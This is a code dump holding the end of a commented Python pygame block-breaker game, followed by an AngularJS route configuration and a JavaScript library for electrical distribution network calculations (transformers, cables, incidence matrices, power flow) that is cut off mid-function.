int(screen_pixel_width/(2*self.block_length))): self.blockx.append(self.block_length/2 + 2*self.block_length*i) self.blocky.append(self.block_width/4) self.blockx.append(2*self.block_length*i) self.blocky.append(self.block_width/4 + self.block_width*1.2) self.blockx.append(self.block_length/2 + 2*self.block_length*i) self.blocky.append(self.block_width/4 + 2*self.block_width*1.2) # Now that we have chosen the positions of our blocks, let's actually create them using this function, create_blocks # Note this depends on the previous function, which itself depends on the level number def create_blocks(self, block_positions): # So our number of blocks, block_count is the same as the number of array elements in blockx (or blocky). # This is just to make it a bit clearere when we remove blocks throughout the game self.block_count = len(self.blockx) # Now I want our blocks to be created and appended to another list, called block. # My blocks actually consist of a smaller one inside another (both different colours) to give the illusion of borders to our blocks for i in range (0, len(self.blockx)): # larger blocks self.block.append(pygame.Surface([self.block_length, self.block_width])) # need to use pygame.Surface to blit self.block[i].fill(block_border_colour) # smaller blocks inside larger blocks self.sub_block.append(pygame.Surface([self.block_length-2, self.block_width-2])) self.sub_block[i].fill(RED) # Let's append the names of the colours of the sub-blocks to another array, block_colour. This will make it easier to change the colour # of the sub-blocks when they are hit by the ball self.block_colour.append('red') # If the ball collides with a block, I want the ball to bounce off it. Then, I want the block to change colour to yellow, then to green and then # for it to be removed (actually I am placing the block outside the observable screen and giving it zero size. # Then the block_count will be made 1 smaller. If block_count reaches zero, then user has completed the game # I need to do this first for if the ball hits the left or right sides of a block. You see, when it does this, I want the # x velocity to reverse direction. I then want this value retured. # If I have both the x and y velocity returned, calling these two returned numbers in the same function becomes problematic: # I esentially got two colour changes in a row because I called the block_colour_change funtion twice. # Thus, I am doing 1 function for x colour change, and another for y colour change def block_colour_change_x(self, create_blocks, ball_x_velocity, ballx, bally): for i in range(0, len(self.blockx)): # if ball travelling right and hits left edge if ball_x_velocity >= 0 and \ ballx + 2*ball_radius >= self.blockx[i] and \ ballx +2*ball_radius <= self.blockx[i] + ball_x_velocity and \ bally + 2*ball_radius >= self.blocky[i] and \ bally <= self.blocky[i] + self.block_width: ball_x_velocity *= -1 ballx += ball_x_velocity bally += ball_y_velocity print ("ball x velocity after bounce: ", ball_x_velocity) colour_change = 'initiate' # if ball travelling left and hits right edge elif ball_x_velocity < 0 and \ ballx >= self.blockx[i] + self.block_length + ball_x_velocity and \ ballx <= self.blockx[i] + self.block_length and \ bally + 2*ball_radius >= self.blocky[i] and \ bally <= self.blocky[i] + self.block_width: ball_x_velocity *= -1 ballx += ball_x_velocity bally += ball_y_velocity print ("ball x velocity after bounce: ", ball_x_velocity) colour_change = 'initiate' # if no hit, then we won't have a colour change else: colour_change = 'deactivate' # now, if there was a hit, (i.e. colour_change is set to 'initiate', then I went the block to actually change colour) if colour_change == 'initiate': colour_change = 'deactivate' # once in if statement, immediately deactivate colour change to ensure 1 colour change at a time # if block colour is red and is hit, then first turn yellow if self.block_colour[i] == 'red': self.sub_block[i].fill(YELLOW) self.block_colour[i] = 'yellow' print ('block colour: ', self.block_colour[i]) elif self.block_colour[i] == 'yellow': self.sub_block[i].fill(GREEN) self.block_colour[i] = 'green' print ('block colour: ', self.block_colour[i]) # if block colour is green (i.e. already having being hit twice), and is hit again, then 'remove' block from window elif self.block_colour[i] == 'green': # this puts the block position outside the observable window self.blockx[i] = -100 self.blocky[i] = -100 # shrink block and sub-block to zero size self.block[i] = pygame.Surface([0,0]) self.sub_block[i] = pygame.Surface([0,0]) # take 1 from block_count number self.block_count -= 1 print ("Blocks remaining: ", self.block_count) # just for de-bugging - shows the number of remaining blocks now # give our new reversed x velocity which we shall use later return ball_x_velocity # Same for y def block_colour_change_y(self, create_blocks, ball_y_velocity, ballx, bally): for i in range(0, len(self.blockx)): # if travelling down and ball hits top of a block if ball_y_velocity >= 0 and \ bally + 2*ball_radius >= self.blocky[i] and \ bally + 2*ball_radius <= self.blocky[i] + ball_y_velocity and \ ballx + 2*ball_radius >= self.blockx[i] and \ ballx <= self.blockx[i] + self.block_length: ball_y_velocity *= -1 ballx += ball_x_velocity bally += ball_y_velocity print ("ball y velocity after bounce: ", ball_y_velocity) colour_change = 'initiate' # if ball travelling up and hits bottom of a block elif ball_y_velocity < 0 and \ bally >= self.blocky[i] + self.block_width + ball_y_velocity and \ bally <= self.blocky[i] + self.block_width and \ ballx + 2*ball_radius >= self.blockx[i] and \ ballx <= self.blockx[i] + self.block_length: ball_y_velocity *= -1 ballx += ball_x_velocity bally += ball_y_velocity print ("ball y velocity after bounce: ", ball_y_velocity) colour_change = 'initiate' else: colour_change = 'deactivate' if colour_change == 'initiate': colour_change = 'deactivate' # if block colour is red and is hit, then first turn yellow if self.block_colour[i] == 'red': self.sub_block[i].fill(YELLOW) self.block_colour[i] = 'yellow' print ('block colour: ', self.block_colour[i]) elif self.block_colour[i] == 'yellow': self.sub_block[i].fill(GREEN) self.block_colour[i] = 'green' print ('block colour: ', self.block_colour[i]) # if block colour is green (i.e. already having being hit twice), and is hit again, then 'remove' block from window elif self.block_colour[i] == 'green': # this puts the block position outside the observable window self.blockx[i] = -100 self.blocky[i] = -100 # shrink block and sub-block to zero size self.block[i] = pygame.Surface([0,0]) self.sub_block[i] = pygame.Surface([0,0]) # take 1 from block_count number self.block_count -= 1 print ("Blocks remaining: ", self.block_count) # just for de-bugging - shows the number of remaining blocks now # now return new reversed y velocity return ball_y_velocity # This function I am deliberating about keeping in this class. It's purpose is if the block_count reaches zero, then to throw a # success message and then end the game # It takes in the block_colour_change function (to pass the block_count to it) def get_completed_status(self, block_colour_change_x, block_colour_change_y): if self.block_count == 0: self.textSurfaceObj = fontObj.render('WELL DONE!', True, WHITE) # our success message print ("Level complete!") # The following just display the success message, the ball, bar and blocks to the screen when we complete the game DISPLAYSURF.blit(self.textSurfaceObj, textRectObj) # copy message to DISPLAYSURF, our screen DISPLAYSURF.blit(bar, (barx, bary)) # copies bar to DISPLAYSURF DISPLAYSURF.blit(ball, (ballx, bally)) # copies ball to DISPLAYSURF DISPLAYSURF.blit(textSurfaceObj2, textRectObj2) # copies quit instruction to DISPLAYSURF for i in range (0, len(level_number.blockx)): DISPLAYSURF.blit(self.block[i], (self.blockx[i], self.blocky[i])) # copies blocks to DISPLAYSURF DISPLAYSURF.blit(self.sub_block[i], (self.blockx[i]+1, self.blocky[i]+1)) # copies sub-blocks to DISPLAYSURF pygame.display.update() # show on screen pygame.time.wait(2000) # pause this many milliseconds pygame.quit() # quit game sys.exit() # random number function to give number between two values def my_random_number(lower, upper): r = round(rm.random() * (upper-lower) + lower, 3) return r # If the user doesn't pass level, then give a fail message. # Might integrate into above class function get_completed_state def level_fail(): textSurfaceObj = fontObj.render('FAIL!', True, WHITE) # our fail message print ('Level failed!') DISPLAYSURF.blit(textSurfaceObj, textRectObj) # copy message to DISPLAYSURF DISPLAYSURF.blit(bar, (barx, bary)) # copies bar to DISPLAYSURF DISPLAYSURF.blit(ball, (ballx, bally)) # copies ball to DISPLAYSURF DISPLAYSURF.blit(textSurfaceObj2, textRectObj2) # copies quit instruction to DISPLAYSURF for i in range (0, len(level_number.blockx)): DISPLAYSURF.blit(level_number.block[i], (level_number.blockx[i], level_number.blocky[i])) # copies blocks to DISPLAYSURF DISPLAYSURF.blit(level_number.sub_block[i], (level_number.blockx[i]+1, level_number.blocky[i]+1)) # copies sub-blocks to DISPLAYSURF pygame.display.update() # show on screen pygame.time.wait(1000) # pause this many milliseconds pygame.quit() # quit game sys.exit() '''Right, now we have declared our class and functions, let's set up the game''' # initiate game pygame.init() FPS = 30 # frames per second fpsClock = pygame.time.Clock() # set up the user window screen_pixel_width = 600 screen_pixel_height = 400 DISPLAYSURF = pygame.display.set_mode((screen_pixel_width, screen_pixel_height)) # size of screen pygame.display.set_caption('Block Breaker') # heading on screen # set up the colours for our game BLACK = (0, 0, 0) WHITE = (255, 255, 255) RED = (175, 0, 0) GREEN = (0, 155, 0) BLUE = (0, 0, 255) LIGHT_BLUE = (100, 200, 200) YELLOW = (255, 255, 0) AWESOME_COLOUR = GREEN TRANSPARENT_COLOUR = (0, 0, 0, 0) background_colour = BLACK # needed as want screen and box surrounding ball to be the same colour block_border_colour = WHITE # I want my background to be a nice picture, which I took off the internet #background = pygame.image.load('bckrd.jpg') # welcome message fontObj = pygame.font.SysFont("arial", 50) textSurfaceObj1 = fontObj.render('BLOCK BREAKER', True, WHITE) textSurfaceObj = fontObj.render('Press left arrow key to start.', True, WHITE) textRectObj1 = textSurfaceObj1.get_rect() textRectObj = textSurfaceObj.get_rect() textRectObj1.center = (215, 250) textRectObj.center = (300, 300) # How to quit game fontObj2 = pygame.font.SysFont("arial", 15) textSurfaceObj2 = fontObj2.render('q = quit game', True, WHITE) textRectObj2 = textSurfaceObj1.get_rect() textRectObj2.center = (screen_pixel_width+80, 30) ############################################ # NOW SET UP OUR OTHER OBJECTS IN THE GAME # ############################################ # Maybe these could be classes later on as well # User-moved bar at the bottom bar_length = 100 bar_width = 15 barx = screen_pixel_width - bar_length - 50 bary = screen_pixel_height - bar_width - 35 bar = pygame.Surface([bar_length, bar_width]) bar.fill(AWESOME_COLOUR) # Moving ball ball_radius = 15 ballx = screen_pixel_width - 2*ball_radius - my_random_number(0, screen_pixel_width-2*ball_radius) bally = ball_radius + my_random_number(110, 110) ball_x_velocity = my_random_number(5,8) ball_y_velocity = my_random_number(5,8) ball = pygame.Surface([ball_radius*2, ball_radius*2]) ball.fill(TRANSPARENT_COLOUR) # ensures box surrounding circle is background colour ball.set_colorkey(TRANSPARENT_COLOUR) pygame.draw.circle(ball, GREEN, (ball_radius, ball_radius), ball_radius) # Our blocks, which we are now calling level_number = Block_objects(level) level_number.block_positions() level_number.create_blocks(level_number.block_positions) ################## # MAIN GAME LOOP # ################## # some initial states of our variables beginning = 'yes' colour_change = 'deactivate' while True: #DISPLAYSURF.blit(background, (0,0)) DISPLAYSURF.fill(background_colour) #if level == 3: #DISPLAYSURF.blit(level_number.cat, (50,50)) # I want the use to have to press the left key to start the game. This will tell the user to do so. if beginning == 'yes': DISPLAYSURF.blit(textSurfaceObj1, textRectObj1) DISPLAYSURF.blit(textSurfaceObj, textRectObj) DISPLAYSURF.blit(textSurfaceObj2, textRectObj2) for event in pygame.event.get(): # if user presses a key: if event.type == pygame.KEYDOWN: # if user presses left key, move bar left only if it won't go outside the screen if event.key == pygame.K_LEFT: beginning = 'no' # if user presses q key, then quit game elif event.key == pygame.K_q: pygame.quit() sys.exit() elif beginning == 'no': # make ball move in time ballx += ball_x_velocity bally += ball_y_velocity # get numbers from block_colour_change functions in our class and set to variables ball_y_velocity_from_class = level_number.block_colour_change_y(level_number.create_blocks, ball_y_velocity, ballx, bally) ball_x_velocity_from_class = level_number.block_colour_change_x(level_number.create_blocks, ball_x_velocity, ballx, bally) if ball_y_velocity == - ball_y_velocity_from_class and abs(ball_y_velocity) > 0: # if y vecloity from class is minus that of ball_y_velocity, then we have hit a block ball_y_velocity = ball_y_velocity_from_class # so rename ball_y_velocity with this new negative velovity bally += ball_y_velocity # and update level_number.get_completed_status(level_number.block_colour_change_x, level_number.block_colour_change_y) elif ball_x_velocity == - ball_x_velocity_from_class and abs(ball_x_velocity) > 0: # if x vecloity from class is minus that of ball_x_velocity, then we have hit a block ball_x_velocity = ball_x_velocity_from_class # so rename ball_x_velocity with this new negative velovity ballx += ball_x_velocity # and update level_number.get_completed_status(level_number.block_colour_change_x, level_number.block_colour_change_y) # if ball hits left or right sides, then reverse x velocity # NOTE shape co-ordinates (e.g. ballx, bally) are always for top-left corner if ballx + 2*ball_radius >= screen_pixel_width or ballx < 0: ball_x_velocity *= -1 ballx += ball_x_velocity # if ball hits top of screen, reverse its y velocity if bally < 0: ball_y_velocity *= -1 bally += ball_y_velocity # if top of ball hits bar below the top of the bar, reverse x velocity (solves bug) if ball_x_velocity > 0 and bally >= bary and ballx + 2*ball_radius + abs(ball_x_velocity) >= barx and ballx - abs(ball_x_velocity) <= barx + bar_length: #ballx = barx - 2*ball_radius - 2 ball_x_velocity *= -1 ball_y_velocity = 5 elif ball_x_velocity < 0 and bally >= bary and ballx + 2*ball_radius + abs(ball_x_velocity) >= barx and ballx - abs(ball_x_velocity) <= barx + bar_length: #ballx = barx + bar_length + 2 ball_x_velocity *= -1 ball_y_velocity = 5 # if ball hits bar, then reverse its y velocity and change its x-velocity depending where it hits on the bar elif ballx + 2*ball_radius > barx and ballx < barx + bar_length and bally + 2*ball_radius >= bary: ball_y_velocity *= -1 bally += ball_y_velocity #x_velocity_change = [0.1*i**2 for i in range(int(-bar_length/2), int(1+bar_length/2))] #print (x_velocity_change) # if going right and ball is within 1/6 of bar length, then reverse x velocity if ballx + ball_radius <= barx + bar_length/6 and ball_x_velocity > 0: if ball_x_velocity < 8: # if x velocity magnitude small, then increase its magnitude and reverse its direction ball_x_velocity = -ball_x_velocity*1.5 else: ball_x_velocity *= -1 # if x velocity magnitude large, then just reverse its direction # if going left and ball is more than 1/6 of bar length along, then reverse x velocity elif ballx + ball_radius >= barx + 5*bar_length/6 and ball_x_velocity < 0: if ball_x_velocity > -8: ball_x_velocity = -ball_x_velocity*1.5 else: ball_x_velocity *= -1 # if going right and ball is between 1/6 and 2.5/6 of bar length, then half reverse x velocity elif ballx + ball_radius > barx + bar_length/6 and ballx + ball_radius < barx + 2.5*bar_length/6 and ball_x_velocity > 0: ball_x_velocity = -0.5*ball_x_velocity # if going left and ball is between 3.5/6 and 5/6 of bar length, then half reverse x velocity elif ballx + ball_radius > barx + 3.5*bar_length/6 and ballx + ball_radius < barx + 5*bar_length/6 and ball_x_velocity < 0: ball_x_velocity = -0.5*ball_x_velocity # if in middle 1/6, then bounce ball straigtht back up elif ballx + ball_radius >= barx + 2.5*bar_length/6 and ballx + ball_radius <= barx + 3.5*bar_length/6 and abs(ball_x_velocity) > 0: ball_x_velocity = 0 # these ensure that if it bounces straight up, then on the next bounce it can angle off again elif abs(ball_x_velocity) < 2: if ballx + ball_radius <= barx + bar_length/6: ball_x_velocity = -6 elif ballx + ball_radius >= barx + 5*bar_length/6: ball_x_velocity = 6 elif ballx + ball_radius > barx + bar_length/6 and ballx + ball_radius < barx + 2.5*bar_length/6: ball_x_velocity = -3 elif ballx + ball_radius > barx + 3.5*bar_length/6 and ballx + ball_radius < barx + 5*bar_length/6: ball_x_velocity = 3 # if ball sinks below bar, end game if bally >= bary + bar_width: level_fail() # Now let's look for events the user does in the game (e.g. key presses) for event in pygame.event.get(): # if user presses a key: if event.type == pygame.KEYDOWN: # if user presses left key, move bar left only if it won't go outside the screen if event.key == pygame.K_LEFT and barx - bar_length/2 >= 0: # remember barx refers to LHS of bar, not centre barx -= 50 # if user presses right key, move bar right only if it won't go outside the screen if event.key == pygame.K_RIGHT and barx + bar_length < screen_pixel_width: barx += 50 # if user presses up key, increase ball_y_velocity up to a certain limit if event.key == pygame.K_UP and abs(ball_y_velocity) < 10: ball_y_velocity *= 1.5 ball_x_velocity *= 1.1 # if user presses down key, decrease ball_y_velocity down to a certain limit if event.key == pygame.K_DOWN and abs(ball_y_velocity) > 2: ball_y_velocity *= 0.5 ball_x_velocity *= 0.7 # if user presses q key, then quit game if event.key == pygame.K_q: pygame.quit() sys.exit() # if statment for ending game if event.type == QUIT: pygame.quit() sys.exit() # Copy the bocks, ball and bar to the screen DISPLAYSURF.blit(bar, (barx, bary)) # copies bar to DISPLAYSURF DISPLAYSURF.blit(ball, (ballx, bally)) # copies ball to DISPLAYSURF DISPLAYSURF.blit(textSurfaceObj2, textRectObj2) # copies quit instruction to DISPLAYSURF for i in range (0, len(level_number.blockx)): DISPLAYSURF.blit(level_number.block[i], (level_number.blockx[i], level_number.blocky[i])) # copies blocks to DISPLAYSURF DISPLAYSURF.blit(level_number.sub_block[i], (level_number.blockx[i]+1, level_number.blocky[i]+1)) # copies sub-blocks to DISPLAYSURF # copies sub-blocks to DISPLAYSURF pygame.display.update() # makes display surfaces actually appear on monitor fpsClock.tick(FPS) # wait FPS number of frames before drawing the next frame
8b8cdcd2cdef21c3882222ce369ee1a903160bed
[ "Python" ]
1
Python
RobertVallance/block_breaker_game
eecfe97b26e0dc194f0c441e3670adbcf18bfa00
56399edfd15c2cae1c7f60fc8bee5d31fd50e5cd
refs/heads/master
<file_sep>'use strict'; angular.module('energy', [ 'ngRoute', 'energy.filters', 'energy.services', 'energy.directives', 'energy.controllers' ]). config(['$routeProvider', function ($routeProvider) { $routeProvider.when('/parameters', {templateUrl: 'partials/parameters.html', controller: 'Parameters'}); $routeProvider.when('/nodes', {templateUrl: 'partials/nodes.html', controller: 'Nodes'}); $routeProvider.when('/edges', {templateUrl: 'partials/edges.html', controller: 'Edges'}); $routeProvider.when('/results', {templateUrl: 'partials/results.html', controller: 'Results'}); $routeProvider.when('/regime', {templateUrl: 'partials/regime.html', controller: 'Regime'}); $routeProvider.when('/branches', {templateUrl: 'partials/branches.html', controller: 'Branches'}); $routeProvider.otherwise({redirectTo: '/nodes'}); }]) .run(function($location) { $location.path('/'); }); <file_sep>/* Energy Program (c) 2014 <NAME> (http://mal.by) Develop for Belarusian National Technical University, Power Engineering faculty, Electrical Systems department License: MIT */ function getEnergy() { var self = {}; var nodes = [], edges = [], errors = []; self.SQRT3 = math.sqrt(3); self.results = {}; self.storage = {}; self.params = { Unom: 10, UnomDown: 0.38, SHN: {a0: 1, a1: 0, a2: 0, a3: 0, b0: 1, b1: 0, b2: 0, b3: 0}, transformerInsensetive: 1.157, transformerRegimes: [{max:+5,min:0},{max:+10,min:+5},{max:+10,min:0},{max:0,min:-5},{max:0,min:0},{max:+5,min:+5}], transformerAdditions: {"-5%": 10.8, "-2.5%": 7.9, "0%": 5.26, "+2.5%": 2.63, "+5%": 0.26}, voltageDown: {dUmax: 0, dUmin: 0}, defaultRegime: {max: 0, min: 0}, defaultBranches: [], temp: {} }; self.getErrors = function () { return errors; }; self.addError = function (text) { if (errors.indexOf(text) == -1) { errors.push(text); } }; self.resetErrors = function () { errors = []; }; self.clearResults = function() { self.results = {min: {}, max: {}}; self.storage = {network: {max: {}, min: {}}}; }; self.transformers = []; self.transformerEmpty = {type:'',Uvn:0,Unn:0,Snom:0,Pxx:0,Pkz:0,Ukz:0,Ixx:0,Z:0,R:0,X:0,Sxx:0,Qxx:0,G:0,B:0}; self.loadTransformers = function() { var file = 'data/transformers.csv'; jQuery.get(file, function(data) { var rows, values, i, ii, item; rows = data.split("\n"); for (i = 1, ii = rows.length; i < ii; ++i) { values = rows[i].replace(/,/g,'.').split(';'); if (values.length > 7) { item = { type: values[0], Uvn: parseFloat(values[1]), Unn: parseFloat(values[2]), Snom: parseFloat(values[3]), Pxx: parseFloat(values[4]), Pkz: parseFloat(values[5]), Ukz: parseFloat(values[6]), Ixx: parseFloat(values[7]) }; item.Z = (item.Ukz * Math.pow(item.Uvn, 2) * 1000) / (item.Snom * 100); item.R = (item.Pkz * Math.pow(item.Uvn, 2) * 1000) / Math.pow(item.Snom, 2); item.X = Math.sqrt(Math.pow(item.Z, 2) - Math.pow(item.R, 2)); item.Sxx = (item.Ixx * item.Snom) / 100; item.Qxx = Math.sqrt(Math.pow(item.Sxx, 2) - Math.pow(item.Pxx, 2)); item.G = item.Pxx / Math.pow(item.Uvn, 2); item.B = item.Qxx / Math.pow(item.Uvn, 2); self.transformers.push(item); } } }); }; self.findTransformer = function(type) { for (var i = 0, ii = self.transformers.length; i < ii; ++i) { if (self.transformers[i].type == type) { return self.transformers[i]; } } return self.transformerEmpty; }; self.updateTransformer = function(node) { if (node) { var transformer = self.findTransformer(node.transformer); for (var key in transformer) { node[key] = transformer[key]; } if (!node.transformer) { self.resetNodePowers(node); } } else { var nodes = self.getNodes(); for (var i in nodes) { self.updateTransformer(nodes[i]); } } }; self.cables = []; self.cableEmpty = {mark:'',R0:0,X0:0}; self.loadCables = function() { var file = 'data/cables.csv'; jQuery.get(file, function(data) { var rows, values, i, ii, item; rows = data.split("\n"); for (i = 1, ii = rows.length; i < ii; ++i) { values = rows[i].replace(/,/g,'.').split(';'); if (values.length > 2) { item = { mark: values[0], R0: parseFloat(values[1]), X0: parseFloat(values[2]) }; self.cables.push(item); } } }); }; self.findCable = function(mark) { for (var i = 0, ii = self.cables.length; i < ii; ++i) { if (self.cables[i].mark == mark) { return self.cables[i]; } } return self.cableEmpty; }; self.updateCable = function(edge) { if (edge) { var cable = self.findCable(edge.cable); if (cable.R0 > 0) edge.R = math.round(cable.R0 * parseFloat(edge.length), 6); if (cable.X0 > 0) edge.X = math.round(cable.X0 * parseFloat(edge.length), 6); } else { var edges = self.getEdges(); for (var i in edges) { self.updateCable(edges[i]); } } }; self.getNodes = function (withMain) { withMain = withMain === undefined ? true : withMain; if (withMain) { return nodes; } else { var result = []; for (var i = 0, ii = nodes.length; i < ii; ++i) { if (nodes[i].main === undefined || !nodes[i].main) { result.push(nodes[i]); } } return result; } }; self.addNode = function (node) { var nodeDefault = {node: '', transformer: '', Pmax: 0, Qmax: 0, Pmin: 0, Qmin: 0, dUmax: 5, dUmin: 1.25, main: 0}; nodes.push(node || nodeDefault); }; self.removeNode = function (node) { for (var i in nodes) { if (nodes[i].node == node.node) { nodes.splice(i, 1); } } }; self.validateNodes = function () { var node, valid = true, i, ii, j; if (nodes.length < 2) { self.addError('Слишком мало узлов в схеме сети.'); valid = false; } for (i = 0, ii = nodes.length; i < ii; ++i) { for (j = i + 1; j < ii; ++j) { if (nodes[i].node == nodes[j].node) { nodes.splice(j, 1); } } node = nodes[i]; if (!node.node) { self.addError('Не задано название у ' + (i+1) + '-го узла'); valid = false; } if (node.main) { node.transformer = ''; self.resetNodePowers(node); } var keys = ['Pmax', 'Qmax', 'Pmin', 'Qmin', 'dUmax', 'dUmin', 'Snom', 'Uvn', 'R', 'X']; for (j in keys) { if (node[keys[j]] !== undefined) { node[keys[j]] = parseFloat(node[keys[j]]); } } } return valid; }; self.findNode = function (name) { for (var i in nodes) { if (nodes[i].node == name) { return nodes[i]; } } return undefined; }; self.resetNodePowers = function (node) { node.Pmax = 0; node.Qmax = 0; node.Pmin = 0; node.Qmin = 0; }; self.getMainNode = function () { for (var i in nodes) { if (nodes[i].main) { return nodes[i]; } } return undefined; }; self.getEdges = function () { return edges; }; self.addEdge = function (edge) { var edgeDefault = {start: '', finish: '', cable: '', length: 0, R: 0, X: 0}; edges.push(edge || edgeDefault); }; self.removeEdge = function (edge) { for (var i in edges) { if (edges[i] == edge) { edges.splice(i, 1); } } }; self.validateEdges = function () { var edge, valid = true, i, ii, j; if (edges.length < 1) { self.addError('Слишком мало ветвей в схеме сети.'); valid = false; } for (i = 0, ii = edges.length; i < ii; ++i) { edge = edges[i]; if (!edge.start || !self.findNode(edge.start)) { valid = false; self.addError('Неверно задан начальный узел у ' + (i+1) + '-й ветви'); } if (!edge.finish || !self.findNode(edge.finish)) { valid = false; self.addError('Неверно задан конечный узел у ' + (i+1) + '-й ветви'); } var keys = ['R', 'X']; for (j in keys) { if (edge[keys[j]] !== undefined) { edge[keys[j]] = parseFloat(edge[keys[j]]); } } } return valid; }; self.getResults = function (func, param) { switch (func) { case 'main': func = self.calcMain; param = null; break; case 'regime': func = self.calcRegime; break; case 'branches': func = self.calcRegimeBranches; break; } self.resetErrors(); self.validateNodes(); self.validateEdges(); if (self.getErrors().length) { return {results: NaN, errors: self.getErrors()}; } var results = func(param); if (self.getErrors().length) { return {results: NaN, errors: self.getErrors()}; } return {results: results, errors: self.getErrors()}; }; /** * @param [resultModification] 0 || false - all matrix, * 1 || true - matrix without main node * -1 - matrix with only main node * @param [edges] * @returns {Array} */ self.createMatricM = function (resultModification, edges) { edges = edges || self.getEdges(); resultModification = resultModification === undefined ? true : resultModification; var matrix = [], nodes = self.getNodes(!(resultModification === true || resultModification > 0)), i, ii, j, jj; for (i = 0, ii = nodes.length; i < ii; ++i) { matrix[i] = []; for (j = 0, jj = edges.length; j < jj; ++j) { if (edges[j].start == nodes[i].node) { matrix[i][j] = +1; } else if (edges[j].finish == nodes[i].node) { matrix[i][j] = -1; } else { matrix[i][j] = 0; } } if (resultModification < 0 && nodes[i].main !== undefined && nodes[i].main) { matrix = matrix[i]; break; } } return matrix; }; self.setPowers = function (Imax, Imin, cosPhiMax, cosPhiMin) { var nodes = self.getNodes(false), Unom = self.params.Unom, i, ii; cosPhiMax = cosPhiMax || 0.9; Imax = Imax / 1000; Imin = Imin / 1000; var sumS = 0, Smax, Smin, phiMax = math.acos(cosPhiMax), phiMin = (!cosPhiMin && cosPhiMin !== 0) ? phiMax : math.acos(cosPhiMin); for (i = 0, ii = nodes.length; i < ii; ++i) { sumS += nodes[i].Snom + math.abs(math.complex(nodes[i].Pxx, nodes[i].Qxx)); } for (i = 0, ii = nodes.length; i < ii; ++i) { Smax = math.complex({r: 1000 * self.SQRT3 * Imax * Unom * nodes[i].Snom / sumS, phi: phiMax}); Smin = math.complex({r: 1000 * self.SQRT3 * Imin * Unom * nodes[i].Snom / sumS, phi: phiMin}); if (math.abs(Smax) > nodes[i].Snom) { Smax = math.complex({r: nodes[i].Snom, phi: phiMax}); } if (math.abs(Smin) > nodes[i].Snom) { Smin = math.complex({r: nodes[i].Snom, phi: phiMin}); } nodes[i].Pmax = math.round(Smax.re, 3); nodes[i].Qmax = math.round(Smax.im, 3); nodes[i].Pmin = math.round(Smin.re, 3); nodes[i].Qmin = math.round(Smin.im, 3); } return self.getPowers(); }; self.getPowers = function (mode, voltage) { var nodes = self.getNodes(false), powers = {max: [], min: []}; for (var i = 0, ii = nodes.length; i < ii; ++i) { powers.max.push(math.complex(nodes[i].Pmax / 1000, nodes[i].Qmax / 1000)); powers.min.push(math.complex(nodes[i].Pmin / 1000, nodes[i].Qmin / 1000)); } if (mode) { if (voltage !== undefined) { powers[mode] = self.useSHN(powers[mode], voltage); } return powers[mode]; } else { return { max: powers['max'], min: powers['min'] }; } }; self.getPowersMatrix = function(powers, matrixU) { return self.getPowersDown2Up(math.matrix(powers), matrixU); }; self.getVoltageDown = function () { if (self.results.voltageDown !== undefined) { return self._clone(self.results.voltageDown); } var voltage = [], nodes = self.getNodes(false); for (var i = 0, ii = nodes.length; i < ii; ++i) { if (nodes[i].Snom > 0) { voltage.push({ min: { min: -5 + nodes[i].dUmin, max: +5 + self.params.voltageDown.dUmin }, max: { min: -5 + nodes[i].dUmax, max: +5 + self.params.voltageDown.dUmax } }); } else { voltage.push(NaN); } } self.results.voltageDown = self._clone(voltage); return self._clone(voltage); }; self.getDefaultsMatrixU = function () { return math.multiply(math.complex(self.params.Unom, 0), math.ones(self.getNodes(false).length)); }; self.getTransformersLoss = function (matrixS, matrixU) { var loss = {dU: [], dS: []}, nodes = self.getNodes(false), node, S, U; matrixS = self._m2a(matrixS); matrixU = self._m2a(matrixU || self.getDefaultsMatrixU()); for (var i = 0, ii = nodes.length; i < ii; ++i) { node = nodes[i]; S = matrixS[i]; U = math.abs(matrixU[i]); if (math.abs(S) > 0) { loss.dU.push((S.re * node.R + S.im * node.X) / U); loss.dS.push(math.complex({ re: node.Pxx / 1000 + node.R * (math.pow(S.re, 2) + math.pow(S.im, 2)) / math.pow(U, 2), im: node.Qxx / 1000 + node.X * (math.pow(S.re, 2) + math.pow(S.im, 2)) / math.pow(U, 2) })); } else { loss.dU.push(0); loss.dS.push(math.complex(0,0)); } } return loss; }; self.getPowersDown2Up = function(matrixS, matrixU) { return math.add(matrixS, self.getTransformersLoss(matrixS, matrixU).dS); }; self.getPowersUp2Down = function(matrixS, matrixU) { var powers = [], nodes = self.getNodes(false), a, b, c, d, e, f, g, h, x, y, i, ii; matrixU = matrixU || self.getDefaultsMatrixU(); for (i = 0, ii = nodes.length; i < ii; ++i) { if (nodes[i].Snom > 0) { a = nodes[i].Pxx / 1000 - matrixS.get([i]).re; b = nodes[i].Qxx / 1000 - matrixS.get([i]).im; c = nodes[i].R / math.pow(math.abs(matrixU.get([i])), 2); d = nodes[i].X / math.pow(math.abs(matrixU.get([i])), 2); e = nodes[i].X / nodes[i].R; f = c*(e*e+1); g = 1+2*a*c*e*e; h = a+a*a*c*e*e; x = (math.sqrt(g*g-4*f*h)-g)/(2*f); y = e*x+e*a-b; powers.push(math.complex(x, y)); } else { powers.push(math.complex(0,0)); } } return math.matrix(powers); }; self.getResists = function () { var edges = self.getEdges(), resists = [], i, ii; for (i = 0, ii = edges.length; i < ii; ++i) { resists.push(math.complex(edges[i].R, edges[i].X)); } return resists; }; self.useSHN = function (matrixS, matrixU, realValuesU) { var a0, a1, a2, a3, b0, b1, b2, b3, Unom = self.params.UnomDown, arrS, arrU, result = []; a0 = self.params.SHN.a0; a1 = self.params.SHN.a1; a2 = self.params.SHN.a2; a3 = self.params.SHN.a3; b0 = self.params.SHN.b0; b1 = self.params.SHN.b1; b2 = self.params.SHN.b2; b3 = self.params.SHN.b3; arrS = self._m2a(matrixS); arrU = self._m2a(matrixU.map(self._v)); arrU = realValuesU ? math.divide(math.subtract(arrU, Unom), Unom) : math.divide(arrU, 100); for (var i = 0, ii = arrS.length; i < ii; ++i) { result[i] = math.complex({ re: arrS[i].re * (a0 + a1 * arrU[i] + a2 * math.pow(arrU[i], 2) + a3 * math.pow(arrU[i], 3)), im: arrS[i].im * (b0 + b1 * arrU[i] + b2 * math.pow(arrU[i], 2) + b3 * math.pow(arrU[i], 3)) }); } return math.matrix(result); }; self.calcNetwork = function (mode, coefUpercent, branches) { if (self.storage.network[mode][(coefUpercent || 0)] !== undefined && branches === undefined) { return self._clone(self.storage.network[mode][(coefUpercent || 0)]); } var funcIteration = function (Y, S, U, Ub, Yb) { var result = [], value; Y = Y.toArray(); S = S.toArray(); U = U.toArray(); Yb = Yb.toArray(); for (var i = 0, ii = Y.length; i < ii; ++i) { value = 0; value = math.subtract(value, math.multiply(Ub, Yb[i])); for (var j = 0, jj = Y[i].length; j < 